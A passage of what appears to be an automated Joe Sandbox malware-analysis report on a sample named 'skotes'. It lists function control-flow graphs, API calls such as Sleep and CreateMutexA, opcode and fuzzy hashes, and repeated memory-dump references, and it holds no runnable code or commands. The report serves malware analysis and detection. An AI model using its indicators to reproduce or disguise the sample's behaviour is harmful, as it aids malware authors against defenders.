                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 218f82bb42b63330a2c851fc29f60b85edc22b0c89419412a6ebfafa91f385c4
                                                                                                                                                                                                                                                                                    • Instruction ID: 4eab139cbb2d708dd586a17d65661e9648ed328a3c03a0ad60cc79ff96fd3948
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 218f82bb42b63330a2c851fc29f60b85edc22b0c89419412a6ebfafa91f385c4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21217C31744200DBFB189B68EC85B2CB362EFC1315F204319E828DB2E5DBB569948712
                                                                                                                                                                                                                                                                                    Function 0015A856 Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 315 15a856-15a86e 316 15a870-15a87c 315->316 317 15a89c-15a89e 315->317 318 15a892-15a899 call 16d663 316->318 319 15a87e-15a88c 316->319 320 15a8a0-15a8a7 317->320 321 15a8a9-15a8b1 call 157d30 317->321 318->317 319->318 322 15a94e-15a987 call 186c6a Sleep CreateMutexA 319->322 324 15a8eb-15a916 call 1680c0 320->324 332 15a8e4-15a8e6 321->332 333 15a8b3-15a8bb call 157d30 321->333 335 15a98e-15a994 322->335 332->324 333->332 337 15a8bd-15a8c5 call 157d30 333->337 338 15a9a7-15a9a8 335->338 339 15a996-15a998 335->339 337->332 344 15a8c7-15a8cf call 157d30 337->344 339->338 341 15a99a-15a9a5 339->341 341->338 344->332 347 15a8d1-15a8d9 call 157d30 344->347 347->332 350 15a8db-15a8e2 347->350 350->324
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 901ced53cff7e9afdd620e9b917c7fffdf08b92f6009258b8fa398bcaf570816
                                                                                                                                                                                                                                                                                    • Instruction ID: 59ded05d7b1a87de4d3999cc17bf3e4533dd7804c15b4a4bd2e1e0ac77d6283d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 901ced53cff7e9afdd620e9b917c7fffdf08b92f6009258b8fa398bcaf570816
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83216D312C8200CEFF2467A89C9773DB3629F81303F640A16EE24DE3D1CBB659898253
                                                                                                                                                                                                                                                                                    Function 0015A34F Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 292 15a34f-15a35b 293 15a371-15a39a call 16d663 292->293 294 15a35d-15a36b 292->294 300 15a39c-15a3a8 293->300 301 15a3c8-15a916 call 1680c0 293->301 294->293 295 15a93a 294->295 297 15a953-15a994 Sleep CreateMutexA 295->297 298 15a93a call 186c6a 295->298 308 15a9a7-15a9a8 297->308 309 15a996-15a998 297->309 298->297 302 15a3be-15a3c5 call 16d663 300->302 303 15a3aa-15a3b8 300->303 302->301 303->295 303->302 309->308 312 15a99a-15a9a5 309->312 312->308
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: de8f52fca30d88f131cf3177cb3076e263761a920c204832ca42168dd6dfc943
                                                                                                                                                                                                                                                                                    • Instruction ID: d4b8f9b99c0cf6a42cfa49c7e7affc40797b89cbf871fef8513175ed8831bd22
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: de8f52fca30d88f131cf3177cb3076e263761a920c204832ca42168dd6dfc943
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FE217931784200DBEB089B68EC9576CB762EFD131AF244319EC24DB6E4CB756AC88352

                                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                                    Function 00152EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 57040152-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 523159575ad8dc9a1410b0dcc9080ba7e63084464bf1ceeee239c6a7dce07816
                                                                                                                                                                                                                                                                                    • Instruction ID: 652799c0c872ca8aa9fa9f7594705450f13083199c05d68b24e4d2aeea4369c2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 523159575ad8dc9a1410b0dcc9080ba7e63084464bf1ceeee239c6a7dce07816
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 48A1CFB1A01615DFDB10DBB5C94476AB7A8BF25351F048129EC25DB281EB31EA18CBD1
                                                                                                                                                                                                                                                                                    Function 0018CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
